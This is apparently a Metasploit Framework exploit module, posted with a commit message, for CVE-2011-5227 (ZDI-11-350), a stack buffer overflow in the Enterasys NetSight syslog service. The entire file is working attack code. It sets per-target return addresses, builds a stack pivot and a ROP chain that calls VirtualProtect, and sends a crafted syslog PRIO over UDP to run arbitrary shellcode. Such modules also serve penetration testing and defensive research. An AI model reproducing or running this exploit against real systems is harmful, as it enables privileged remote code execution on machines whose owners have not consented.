Added module for ZDI-11-350
jvazquez-r7
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Enterasys NetSight nssyslogd.exe Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Enterasys NetSight. The
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vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially
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crafted PRIO from a syslog message. The module has been tested successfully on
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Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.
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},
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'Author' =>
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[
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'Jeremy Brown', # Vulnerability discovery
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'rgod <rgod[at]autistici.org>', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2011-5227'],
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['OSVDB', '77971'],
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['BID', '51124'],
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['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'],
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['URL', 'https://cp-enterasys.kb.net/al/12/3/article.aspx?aid=14206&bt=4']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'Space' => 3000,
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Enterasys NetSight 4.0.1.34 / Windows XP SP3',
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{
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'Offset' => 43,
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'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
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}
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],
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['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2',
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{
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'Offset' => 43,
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'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
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}
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]
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],
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'Privileged' => true,
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'DisclosureDate' => 'Dec 19 2011',
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'DefaultTarget' => 1
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))
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register_options([ Opt::RPORT(514) ], self.class)
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V")[0].to_i
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end
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def nop
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return make_nops(4).unpack("V")[0].to_i
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end
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def get_stackpivot
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stack_pivot = ''
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case target.name
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when /Windows XP SP3/
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stack_pivot << [0x77c4e448].pack("V") #ret
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stack_pivot << [0x77c4e448].pack("V") #ret
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stack_pivot << [0x77c4e448].pack("V") #ret
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stack_pivot << [0x77c4e448].pack("V") #ret
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stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN
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when /Windows 2003 SP2/
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stack_pivot << [0x77bdf448].pack("V") #ret
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stack_pivot << [0x77bdf448].pack("V") #ret
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stack_pivot << [0x77bdf448].pack("V") #ret
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stack_pivot << [0x77bdf448].pack("V") #ret
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stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN
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end
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return stack_pivot
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end
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def get_payload
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my_payload = ''
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case target.name
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when /Windows XP SP3/
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jmp_esp = [0x77c35459].pack("V")
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my_payload << jmp_esp
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when /Windows 2003 SP2/
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rop_gadgets =
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[
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0x77bb2563, # POP EAX # RETN
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0x77ba1114, # <- *&VirtualProtect()
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0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77bb0c86, # XCHG EAX,ESI # RETN
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0x77bc9801, # POP EBP # RETN
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0x77be2265, # ptr to 'push esp # ret'
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0x77bb2563, # POP EAX # RETN
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#0x03C0990F,
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0x03c09f0f,
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0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0xb00 -> ebx)
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0x77bb48d3, # POP EBX, RET
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0x77bf21e0, # .data
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0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
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0x77bbfc02, # POP ECX # RETN
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0x77bef001, # W pointer (lpOldProtect) (-> ecx)
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0x77bd8c04, # POP EDI # RETN
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0x77bd8c05, # ROP NOP (-> edi)
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0x77bb2563, # POP EAX # RETN
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0x03c0984f,
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0x77bdd441, # SUB EAX, 03c0940f
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0x77bb8285, # XCHG EAX,EDX # RETN
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0x77bb2563, # POP EAX # RETN
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nop,
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0x77be6591, # PUSHAD # ADD AL,0EF # RETN
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].pack("V*")
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my_payload << rop_gadgets
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end
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my_payload << payload.encoded
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return my_payload
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end
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def exploit
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connect_udp
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prio = "<"
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prio << rand_text_alpha(19)
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prio << get_stackpivot
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prio << rand_text_alpha(4)
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prio << [target.ret].pack("V")
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prio << ">"
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message = prio
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message << rand_text_alpha(11)
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message << get_payload
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print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
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udp_sock.put(message)
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disconnect_udp
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end
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end
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